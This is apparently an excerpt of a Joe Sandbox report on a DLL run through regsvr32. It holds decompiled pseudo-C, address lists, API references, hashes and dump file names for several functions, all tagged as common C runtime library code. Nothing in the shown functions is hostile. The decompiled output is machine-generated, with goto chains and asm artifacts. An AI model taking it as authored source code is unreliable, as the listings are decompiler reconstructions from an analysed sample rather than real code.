0x6dadb76a
0x6dadb771
0x6dadb7cd
0x6dadb7d0
0x6dadb7d8
0x6dadb7df
0x00000000
0x6dadb7df
0x00000000
0x6dadb773
0x6dadb773
0x6dadb779
0x6dadb77f
0x6dadb785
0x6dadb7f0
0x6dadb7f9
0x6dadb787
0x6dadb787
0x6dadb787
0x6dadb78d
0x6dadb790
0x6dadb793
0x6dadb796
0x6dadb799
0x6dadb79e
0x6dadb7b4
0x00000000
0x6dadb7a0
0x6dadb7a0
0x6dadb7a2
0x6dadb7a7
0x6dadb7a9
0x6dadb7ac
0x6dadb7ae
0x6dadb7c4
0x6dadb7e4
0x6dadb7e4
0x6dadb7e8
0x00000000
0x6dadb7b0
0x6dadb7b0
0x6dadb7fa
0x6dadb7fd
0x6dadb803
0x6dadb805
0x6dadb80c
0x6dadb813
0x6dadb818
0x6dadb81b
0x6dadb81d
0x6dadb81f
0x6dadb82c
0x6dadb832
0x6dadb834
0x6dadb837
0x6dadb837
0x6dadb83a
0x6dadb83a
0x6dadb80c
0x6dadb840
0x6dadb842
0x6dadb847
0x6dadb84a
0x6dadb84d
0x6dadb855
0x6dadb859
0x6dadb85e
0x6dadb85e
0x6dadb861
0x6dadb865
0x6dadb868
0x6dadb878
0x6dadb87d
0x6dadb87e
0x6dadb87f
0x6dadb880
0x6dadb884
0x6dadb88b
0x6dadb88f
0x6dadb891
0x6dadb9d3
0x6dadb9d9
0x6dadb897
0x6dadb897
0x6dadb89d
0x6dadb8a0
0x6dadb985
0x6dadb985
0x6dadb98b
0x6dadb98d
0x6dadb98f
0x6dadb990
0x6dadb993
0x6dadb993
0x6dadb99b
0x6dadb9a1
0x6dadb9a3
0x6dadb9a5
0x6dadb9a8
0x6dadb9a8
0x6dadb9a8
0x6dadb9ab
0x6dadb9b1
0x6dadb9c0
0x6dadb9c2
0x6dadb9c5
0x6dadb9c8
0x6dadb9cb
0x6dadb9cb
0x00000000
0x6dadb8a6
0x6dadb8a6
0x6dadb8ac
0x6dadb93d
0x6dadb93d
0x6dadb945
0x00000000
0x6dadb947
0x6dadb947
0x6dadb94b
0x00000000
0x6dadb94b
0x6dadb8b2
0x6dadb8b2
0x6dadb8ba
0x6dadb8c5
0x6dadb8cd
0x00000000
0x6dadb8d3
0x6dadb8d3
0x6dadb8d7
0x6dadb8dc
0x6dadb8de
0x6dadb8e4
0x6dadb8e7
0x6dadb8e9
0x6dadb8ef
0x00000000
0x6dadb900
0x6dadb900
0x6dadb900
0x6dadb904
0x6dadb909
0x6dadb90e
0x6dadb913
0x6dadb918
0x6dadb91d
0x6dadb922
0x6dadb927
0x6dadb92d
0x6dadb933
0x6dadb933
0x6dadb950
0x6dadb950
0x6dadb953
0x6dadb971
0x6dadb975
0x6dadb979
0x6dadb984
0x6dadb955
0x6dadb955
0x6dadb955
0x6dadb959
0x6dadb95e
0x6dadb961
0x6dadb964
0x6dadb964
0x6dadb969
0x6dadb96f
0x00000000
0x00000000
0x00000000
0x00000000
0x6dadb96f
0x6dadb953
0x6dadb8ef
0x6dadb8bc
0x6dadb8bc
0x6dadb8c4
0x6dadb8c4
0x6dadb8ba
0x6dadb8ac
0x6dadb8a0
0x6dadb7b2
0x00000000
0x6dadb7b2
0x6dadb7b0
0x6dadb7ae
0x00000000
0x6dadb7b7
0x6dadb7b7
0x6dadb7b9
0x6dadb7c0
0x00000000
0x6dadb7c2
0x00000000
0x6dadb7c0
0x6dadb785
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 6DADB757
___except_validate_context_record.LIBVCRUNTIME ref: 6DADB75F
_ValidateLocalCookies.LIBCMT ref: 6DADB7E8
__IsNonwritableInCurrentImage.LIBCMT ref: 6DADB813
_ValidateLocalCookies.LIBCMT ref: 6DADB868

Strings

csm, xrefs: 6DADB7FD

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c6b45160901d865cbc2f01126f2274d75788b5c4122a74f5c149b1b7e061a83a
Instruction ID: 09a100991e4023b99c03ecf7ddc4339103a84432ff65e4b7e35914c1b1415824
Opcode Fuzzy Hash: c6b45160901d865cbc2f01126f2274d75788b5c4122a74f5c149b1b7e061a83a
Instruction Fuzzy Hash: 1F41C838A092199FCF40CF69C880AAEBBB5FF49318F14C155E9199B391D735DA86CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE11A3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DAE11A3(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0x6daf5548 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0x6daed690 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
								return _t16;
							}
							L15:
							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E6DAE0AC8(_t23, L"api-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E6DAE0AC8(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}

0x6dae11ac
0x6dae1256
0x6dae11b4
0x6dae11b6
0x6dae11bd
0x6dae11bf
0x6dae11c5
0x6dae11d2
0x6dae11e7
0x6dae11eb
0x6dae123d
0x6dae123d
0x6dae1242
0x6dae1246
0x6dae1249
0x6dae1249
0x6dae124f
0x6dae1251
0x6dae1266
0x6dae1261
0x6dae1265
0x6dae1265
0x6dae1253
0x6dae1253
0x00000000
0x6dae1253
0x6dae11ed
0x6dae11f6
0x6dae122d
0x6dae122d
0x6dae122f
0x6dae1231
0x00000000
0x00000000
0x6dae1239
0x00000000
0x6dae1239
0x6dae1200
0x6dae1205
0x6dae120a
0x00000000
0x00000000
0x6dae1214
0x6dae1219
0x6dae121e
0x00000000
0x00000000
0x6dae1223
0x6dae1229
0x00000000
0x6dae1229
0x6dae11ca
0x00000000
0x00000000
0x00000000
0x6dae11d0
0x6dae125f
0x00000000

Strings

api-ms-, xrefs: 6DAE11FA
ext-ms-, xrefs: 6DAE120E

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 010417c594c4dccb6baf795b5d9f6075f7b007c1ff38386ebbfceaa5754dc769
Instruction ID: 680ca6a0845299a6a40273c6b9daacac0fdeda16d70440df560dcfcef9a1d338
Opcode Fuzzy Hash: 010417c594c4dccb6baf795b5d9f6075f7b007c1ff38386ebbfceaa5754dc769
Instruction Fuzzy Hash: C4210875A4D336ABCB124769CC80B7A3774AF427E0F168130E825E7280D730D940E6D2

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE7A03 Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DAE7A03(intOrPtr _a4) {
				void* _t18;
				intOrPtr _t45;

				_t45 = _a4;
				if(_t45 != 0) {
					E6DAE79CB(_t45, 7);
					_t2 = _t45 + 0x1c; // 0x20
					E6DAE79CB(_t2, 7);
					_t3 = _t45 + 0x38; // 0x3c
					E6DAE79CB(_t3, 0xc);
					_t4 = _t45 + 0x68; // 0x6c
					E6DAE79CB(_t4, 0xc);
					_t5 = _t45 + 0x98; // 0x9c
					E6DAE79CB(_t5, 2);
					E6DAE10BE( *((intOrPtr*)(_t45 + 0xa0)));
					E6DAE10BE( *((intOrPtr*)(_t45 + 0xa4)));
					E6DAE10BE( *((intOrPtr*)(_t45 + 0xa8)));
					_t9 = _t45 + 0xb4; // 0xb8
					E6DAE79CB(_t9, 7);
					_t10 = _t45 + 0xd0; // 0xd4
					E6DAE79CB(_t10, 7);
					_t11 = _t45 + 0xec; // 0xf0
					E6DAE79CB(_t11, 0xc);
					_t12 = _t45 + 0x11c; // 0x120
					E6DAE79CB(_t12, 0xc);
					_t13 = _t45 + 0x14c; // 0x150
					E6DAE79CB(_t13, 2);
					E6DAE10BE( *((intOrPtr*)(_t45 + 0x154)));
					E6DAE10BE( *((intOrPtr*)(_t45 + 0x158)));
					E6DAE10BE( *((intOrPtr*)(_t45 + 0x15c)));
					return E6DAE10BE( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x6dae7a09
0x6dae7a0e
0x6dae7a17
0x6dae7a1c
0x6dae7a22
0x6dae7a27
0x6dae7a2d
0x6dae7a32
0x6dae7a38
0x6dae7a3d
0x6dae7a46
0x6dae7a51
0x6dae7a5c
0x6dae7a67
0x6dae7a6c
0x6dae7a75
0x6dae7a7a
0x6dae7a83
0x6dae7a8b
0x6dae7a94
0x6dae7a99
0x6dae7aa2
0x6dae7aa7
0x6dae7ab0
0x6dae7abb
0x6dae7ac6
0x6dae7ad1
0x00000000
0x6dae7ae1
0x6dae7ae6

APIs

Part of subcall function 6DAE79CB: _free.LIBCMT ref: 6DAE79F0

_free.LIBCMT ref: 6DAE7A51

Part of subcall function 6DAE10BE: HeapFree.KERNEL32(00000000,00000000,?,6DAE79F5,00000004,00000000,00000004,?,?,6DAE7A1C,00000004,00000007,00000004,?,6DAE4A49,00000004), ref: 6DAE10D4
Part of subcall function 6DAE10BE: GetLastError.KERNEL32(00000004,?,6DAE79F5,00000004,00000000,00000004,?,?,6DAE7A1C,00000004,00000007,00000004,?,6DAE4A49,00000004,00000004), ref: 6DAE10E6

_free.LIBCMT ref: 6DAE7A5C
_free.LIBCMT ref: 6DAE7A67
_free.LIBCMT ref: 6DAE7ABB
_free.LIBCMT ref: 6DAE7AC6
_free.LIBCMT ref: 6DAE7AD1
_free.LIBCMT ref: 6DAE7ADC

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a2bb66c6e2cfaa9a0a88a15b2dcd11407e903fe348f8a93c51e83bc192e8a5ef
Instruction ID: 87773a6f625edec8acf01bef11b3a1c8f584a6d8c380bcc61331e417e8fd6c8f
Opcode Fuzzy Hash: a2bb66c6e2cfaa9a0a88a15b2dcd11407e903fe348f8a93c51e83bc192e8a5ef
Instruction Fuzzy Hash: 1111D031A0CB08BADA70ABB1CE45FDB779CAF04784F810814B399A6092CB74F580E741

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE4E6C Relevance: 9.3, APIs: 6, Instructions: 317
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 84%

			E6DAE4E6C(void* __eflags, intOrPtr _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				char _v23;
				char _v24;
				void _v32;
				signed int _v33;
				signed char _v40;
				signed int _v44;
				intOrPtr _v48;
				char _v51;
				void _v52;
				long _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				struct _OVERLAPPED* _v76;
				signed char _v80;
				signed int _v84;
				signed int _v88;
				char _v92;
				intOrPtr _v96;
				long _v100;
				signed char* _v104;
				signed char* _v108;
				void* _v112;
				intOrPtr _v116;
				char _v120;
				int _v124;
				intOrPtr _v128;
				struct _OVERLAPPED* _v132;
				struct _OVERLAPPED* _v136;
				struct _OVERLAPPED* _v140;
				struct _OVERLAPPED* _v144;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t170;
				signed int _t172;
				int _t178;
				intOrPtr _t183;
				intOrPtr _t186;
				void* _t188;
				void* _t190;
				long _t193;
				void _t198;
				signed char* _t202;
				void* _t206;
				struct _OVERLAPPED* _t211;
				void* _t220;
				long _t224;
				intOrPtr _t225;
				char _t227;
				void* _t237;
				signed int _t242;
				intOrPtr _t245;
				signed int _t248;
				signed int _t249;
				signed int _t251;
				intOrPtr _t253;
				void* _t259;
				intOrPtr _t260;
				signed int _t261;
				signed char _t264;
				intOrPtr _t267;
				signed char* _t269;
				signed int _t272;
				signed int _t273;
				signed int _t277;
				signed int _t278;
				intOrPtr _t279;
				signed int _t280;
				struct _OVERLAPPED* _t282;
				struct _OVERLAPPED* _t284;
				signed int _t285;
				void* _t286;
				void* _t287;

				_t170 =  *0x6daf4024; // 0xde15bf56
				_v8 = _t170 ^ _t285;
				_t172 = _a8;
				_t264 = _t172 >> 6;
				_t242 = (_t172 & 0x0000003f) * 0x38;
				_t269 = _a12;
				_v108 = _t269;
				_v80 = _t264;
				_v112 =  *((intOrPtr*)(_t242 +  *((intOrPtr*)(0x6daf5620 + _t264 * 4)) + 0x18));
				_v44 = _t242;
				_v96 = _a16 + _t269;
				_t178 = GetConsoleOutputCP();
				_t241 = 0;
				_v124 = _t178;
				E6DADDD26( &_v72, _t264, 0);
				_t273 = 0;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_t245 =  *((intOrPtr*)(_v68 + 8));
				_v128 = _t245;
				_v104 = _t269;
				if(_t269 >= _v96) {
					L48:
					__eflags = _v60 - _t241;
				} else {
					while(1) {
						_t248 = _v44;
						_v51 =  *_t269;
						_v76 = _t241;
						_v40 = 1;
						_t186 =  *((intOrPtr*)(0x6daf5620 + _v80 * 4));
						_v48 = _t186;
						if(_t245 != 0xfde9) {
							goto L19;
						}
						_t211 = _t241;
						_t267 = _v48 + 0x2e + _t248;
						_v116 = _t267;
						while( *((intOrPtr*)(_t267 + _t211)) != _t241) {
							_t211 =  &(_t211->Internal);
							if(_t211 < 5) {
								continue;
							}
							break;
						}
						_t264 = _v96 - _t269;
						_v40 = _t211;
						if(_t211 <= 0) {
							_t72 = ( *_t269 & 0x000000ff) + 0x6daf4770; // 0x0
							_t253 =  *_t72 + 1;
							_v48 = _t253;
							__eflags = _t253 - _t264;
							if(_t253 > _t264) {
								__eflags = _t264;
								if(_t264 <= 0) {
									goto L40;
								} else {
									_t278 = _v44;
									do {
										 *((char*)( *((intOrPtr*)(0x6daf5620 + _v80 * 4)) + _t278 + _t241 + 0x2e)) =  *((intOrPtr*)(_t241 + _t269));
										_t241 =  &(_t241->Internal);
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									goto L39;
								}
							} else {
								_v144 = _t241;
								__eflags = _t253 - 4;
								_v140 = _t241;
								_v56 = _t269;
								_v40 = (_t253 == 4) + 1;
								_t220 = E6DAE5BE8( &_v144,  &_v76,  &_v56, (_t253 == 4) + 1,  &_v144);
								_t287 = _t286 + 0x10;
								__eflags = _t220 - 0xffffffff;
								if(_t220 == 0xffffffff) {
									goto L48;
								} else {
									_t279 = _v48;
									goto L18;
								}
							}
						} else {
							_t224 =  *((char*)(( *(_t248 + _v48 + 0x2e) & 0x000000ff) + 0x6daf4770)) + 1;
							_v56 = _t224;
							_t225 = _t224 - _v40;
							_v48 = _t225;
							if(_t225 > _t264) {
								__eflags = _t264;
								if(_t264 > 0) {
									_t280 = _t248;
									do {
										_t227 =  *((intOrPtr*)(_t241 + _t269));
										_t259 =  *((intOrPtr*)(0x6daf5620 + _v80 * 4)) + _t280 + _t241;
										_t241 =  &(_t241->Internal);
										 *((char*)(_t259 + _v40 + 0x2e)) = _t227;
										_t280 = _v44;
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									L39:
									_t273 = _v88;
								}
								L40:
								_t277 = _t273 + _t264;
								__eflags = _t277;
								L41:
								__eflags = _v60;
								_v88 = _t277;
							} else {
								_t264 = _v40;
								_t282 = _t241;
								_t260 = _v116;
								do {
									 *((char*)(_t285 + _t282 - 0xc)) =  *((intOrPtr*)(_t260 + _t282));
									_t282 =  &(_t282->Internal);
								} while (_t282 < _t264);
								_t283 = _v48;
								_t261 = _v44;
								if(_v48 > 0) {
									E6DADBA40( &_v16 + _t264, _t269, _t283);
									_t261 = _v44;
									_t286 = _t286 + 0xc;
									_t264 = _v40;
								}
								_t272 = _v80;
								_t284 = _t241;
								do {
									 *( *((intOrPtr*)(0x6daf5620 + _t272 * 4)) + _t261 + _t284 + 0x2e) = _t241;
									_t284 =  &(_t284->Internal);
								} while (_t284 < _t264);
								_t269 = _v104;
								_t279 = _v48;
								_v120 =  &_v16;
								_v136 = _t241;
								_v132 = _t241;
								_v40 = (_v56 == 4) + 1;
								_t237 = E6DAE5BE8( &_v136,  &_v76,  &_v120, (_v56 == 4) + 1,  &_v136);
								_t287 = _t286 + 0x10;
								if(_t237 == 0xffffffff) {
									goto L48;
								} else {
									L18:
									_t269 = _t269 - 1 + _t279;
									L27:
									_t269 =  &(_t269[1]);
									_v104 = _t269;
									_t193 = E6DAE3E6E(_v124, _t241,  &_v76, _v40,  &_v32, 5, _t241, _t241);
									_t286 = _t287 + 0x20;
									_v56 = _t193;
									if(_t193 == 0) {
										goto L48;
									} else {
										if(WriteFile(_v112,  &_v32, _t193,  &_v100, _t241) == 0) {
											L47:
											_v92 = GetLastError();
											goto L48;
										} else {
											_t273 = _v84 - _v108 + _t269;
											_v88 = _t273;
											if(_v100 < _v56) {
												goto L48;
											} else {
												if(_v51 != 0xa) {
													L34:
													if(_t269 >= _v96) {
														goto L48;
													} else {
														_t245 = _v128;
														continue;
													}
												} else {
													_t198 = 0xd;
													_v52 = _t198;
													if(WriteFile(_v112,  &_v52, 1,  &_v100, _t241) == 0) {
														goto L47;
													} else {
														if(_v100 < 1) {
															goto L48;
														} else {
															_v84 = _v84 + 1;
															_t273 = _t273 + 1;
															_v88 = _t273;
															goto L34;
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L49;
						L19:
						_t264 =  *((intOrPtr*)(_t248 + _t186 + 0x2d));
						__eflags = _t264 & 0x00000004;
						if((_t264 & 0x00000004) == 0) {
							_v33 =  *_t269;
							_t188 = E6DAE47A8(_t264);
							_t249 = _v33 & 0x000000ff;
							__eflags =  *((intOrPtr*)(_t188 + _t249 * 2)) - _t241;
							if( *((intOrPtr*)(_t188 + _t249 * 2)) >= _t241) {
								_push(1);
								_push(_t269);
								goto L26;
							} else {
								_t100 =  &(_t269[1]); // 0x1
								_t202 = _t100;
								_v56 = _t202;
								__eflags = _t202 - _v96;
								if(_t202 >= _v96) {
									_t264 = _v80;
									_t251 = _v44;
									_t241 = _v33;
									 *((char*)(_t251 +  *((intOrPtr*)(0x6daf5620 + _t264 * 4)) + 0x2e)) = _v33;
									 *(_t251 +  *((intOrPtr*)(0x6daf5620 + _t264 * 4)) + 0x2d) =  *(_t251 +  *((intOrPtr*)(0x6daf5620 + _t264 * 4)) + 0x2d) | 0x00000004;
									_t277 = _t273 + 1;
									goto L41;
								} else {
									_t206 = E6DAE1CCE( &_v76, _t269, 2);
									_t287 = _t286 + 0xc;
									__eflags = _t206 - 0xffffffff;
									if(_t206 == 0xffffffff) {
										goto L48;
									} else {
										_t269 = _v56;
										goto L27;
									}
								}
							}
						} else {
							_t264 = _t264 & 0x000000fb;
							_v24 =  *((intOrPtr*)(_t248 + _t186 + 0x2e));
							_v23 =  *_t269;
							_push(2);
							 *(_t248 + _v48 + 0x2d) = _t264;
							_push( &_v24);
							L26:
							_push( &_v76);
							_t190 = E6DAE1CCE();
							_t287 = _t286 + 0xc;
							__eflags = _t190 - 0xffffffff;
							if(_t190 == 0xffffffff) {
								goto L48;
							} else {
								goto L27;
							}
						}
						goto L49;
					}
				}
				L49:
				if(__eflags != 0) {
					_t183 = _v72;
					_t165 = _t183 + 0x350;
					 *_t165 =  *(_t183 + 0x350) & 0xfffffffd;
					__eflags =  *_t165;
				}
				__eflags = _v8 ^ _t285;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E6DADAF4F(_a4, _t241, _v8 ^ _t285, _t264, _a4,  &_v92);
			}

0x6dae4e77
0x6dae4e7e
0x6dae4e81
0x6dae4e89
0x6dae4e8c
0x6dae4e99
0x6dae4e9c
0x6dae4e9f
0x6dae4ea6
0x6dae4eae
0x6dae4eb1
0x6dae4eb4
0x6dae4eba
0x6dae4ebc
0x6dae4ec3
0x6dae4ecd
0x6dae4ecf
0x6dae4ed2
0x6dae4ed5
0x6dae4ed8
0x6dae4edb
0x6dae4ede
0x6dae4ee4
0x6dae51ef
0x6dae51ef
0x00000000
0x6dae4eea
0x6dae4ef2
0x6dae4ef5
0x6dae4efb
0x6dae4efe
0x6dae4f05
0x6dae4f0c
0x6dae4f0f
0x00000000
0x00000000
0x6dae4f18
0x6dae4f1d
0x6dae4f1f
0x6dae4f22
0x6dae4f27
0x6dae4f2b
0x00000000
0x00000000
0x00000000
0x6dae4f2b
0x6dae4f30
0x6dae4f32
0x6dae4f37
0x6dae4ff1
0x6dae4ff8
0x6dae4ff9
0x6dae4ffc
0x6dae4ffe
0x6dae51a2
0x6dae51a4
0x00000000
0x6dae51a6
0x6dae51a6
0x6dae51a9
0x6dae51b8
0x6dae51bc
0x6dae51bd
0x6dae51bd
0x00000000
0x6dae51c1
0x6dae5004
0x6dae5006
0x6dae500c
0x6dae500f
0x6dae501b
0x6dae5024
0x6dae502f
0x6dae5034
0x6dae5037
0x6dae503a
0x00000000
0x6dae5040
0x6dae5040
0x00000000
0x6dae5040
0x6dae503a
0x6dae4f3d
0x6dae4f4c
0x6dae4f4d
0x6dae4f50
0x6dae4f53
0x6dae4f58
0x6dae516e
0x6dae5170
0x6dae5172
0x6dae5174
0x6dae517e
0x6dae5186
0x6dae5188
0x6dae5189
0x6dae518d
0x6dae5190
0x6dae5190
0x6dae5194
0x6dae5194
0x6dae5194
0x6dae5197
0x6dae5197
0x6dae5197
0x6dae5199
0x6dae5199
0x6dae519d
0x6dae4f5e
0x6dae4f5e
0x6dae4f61
0x6dae4f63
0x6dae4f66
0x6dae4f69
0x6dae4f6d
0x6dae4f6e
0x6dae4f72
0x6dae4f75
0x6dae4f7a
0x6dae4f84
0x6dae4f89
0x6dae4f8c
0x6dae4f8f
0x6dae4f8f
0x6dae4f92
0x6dae4f95
0x6dae4f97
0x6dae4fa0
0x6dae4fa4
0x6dae4fa5
0x6dae4fa9
0x6dae4faf
0x6dae4fb8
0x6dae4fc5
0x6dae4fcc
0x6dae4fd0
0x6dae4fdb
0x6dae4fe0
0x6dae4fe6
0x00000000
0x6dae4fec
0x6dae5043
0x6dae5044
0x6dae50c7
0x6dae50ce
0x6dae50d6
0x6dae50de
0x6dae50e3
0x6dae50e6
0x6dae50eb
0x00000000
0x6dae50f1
0x6dae5106
0x6dae51e6
0x6dae51ec
0x00000000
0x6dae510c
0x6dae5115
0x6dae5117
0x6dae511d
0x00000000
0x6dae5123
0x6dae5127
0x6dae515d
0x6dae5160
0x00000000
0x6dae5166
0x6dae5166
0x00000000
0x6dae5166
0x6dae5129
0x6dae512b
0x6dae512d
0x6dae5146
0x00000000
0x6dae514c
0x6dae5150
0x00000000
0x6dae5156
0x6dae5156
0x6dae5159
0x6dae515a
0x00000000
0x6dae515a
0x6dae5150
0x6dae5146
0x6dae5127
0x6dae511d
0x6dae5106
0x6dae50eb
0x6dae4fe6
0x6dae4f58
0x00000000
0x6dae5048
0x6dae5048
0x6dae504c
0x6dae504f
0x6dae5071
0x6dae5074
0x6dae5079
0x6dae507d
0x6dae5081
0x6dae50af
0x6dae50b1
0x00000000
0x6dae5083
0x6dae5083
0x6dae5083
0x6dae5086
0x6dae5089
0x6dae508c
0x6dae51c3
0x6dae51c6
0x6dae51c9
0x6dae51d3
0x6dae51de
0x6dae51e3
0x00000000
0x6dae5092
0x6dae5099
0x6dae509e
0x6dae50a1
0x6dae50a4
0x00000000
0x6dae50aa
0x6dae50aa
0x00000000
0x6dae50aa
0x6dae50a4
0x6dae508c
0x6dae5051
0x6dae5055
0x6dae5058
0x6dae505d
0x6dae5063
0x6dae5065
0x6dae506c
0x6dae50b2
0x6dae50b5
0x6dae50b6
0x6dae50bb
0x6dae50be
0x6dae50c1
0x00000000
0x00000000
0x00000000
0x00000000
0x6dae50c1
0x00000000
0x6dae504f
0x6dae4eea
0x6dae51f2
0x6dae51f2
0x6dae51f4
0x6dae51f7
0x6dae51f7
0x6dae51f7
0x6dae51f7
0x6dae5209
0x6dae520b
0x6dae520c
0x6dae520d
0x6dae5217

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 6DAE4EB4
__fassign.LIBCMT ref: 6DAE5099
__fassign.LIBCMT ref: 6DAE50B6
WriteFile.KERNEL32(?,6DAE1736,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6DAE50FE
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6DAE513E
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6DAE51E6

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: b746c2059badae34866e82dffd0564323809627b14a910adfc7766329ff35d6f
Instruction ID: ca2aa95055df6d35ef137404ed7e90e0f67ac6006d0441531f98b8dbb79528a1
Opcode Fuzzy Hash: b746c2059badae34866e82dffd0564323809627b14a910adfc7766329ff35d6f
Instruction Fuzzy Hash: C7C1AF75D082588FCF01CFA8D980AEDFBB5AF49354F28816AE855F7241D7319A82DF60

Uniqueness

Uniqueness Score: -1.00%

Function 6DADC014 Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E6DADC014(void* __ecx) {
				void* _t4;
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0x6daf4030 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E6DADD250(_t13, __eflags,  *0x6daf4030);
					_t14 = _t23;
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E6DADD28B(_t14, __eflags,  *0x6daf4030, 0xffffffff);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_t27 = E6DAE03DB();
								_t18 = 1;
								__eflags = _t27;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E6DADD28B(_t18, __eflags,  *0x6daf4030, 0);
								} else {
									_t8 = E6DADD28B(_t18, __eflags,  *0x6daf4030, _t27);
									_pop(_t18);
									__eflags = _t8;
									if(__eflags != 0) {
										_t11 = _t27;
										_t27 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E6DADD69D(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

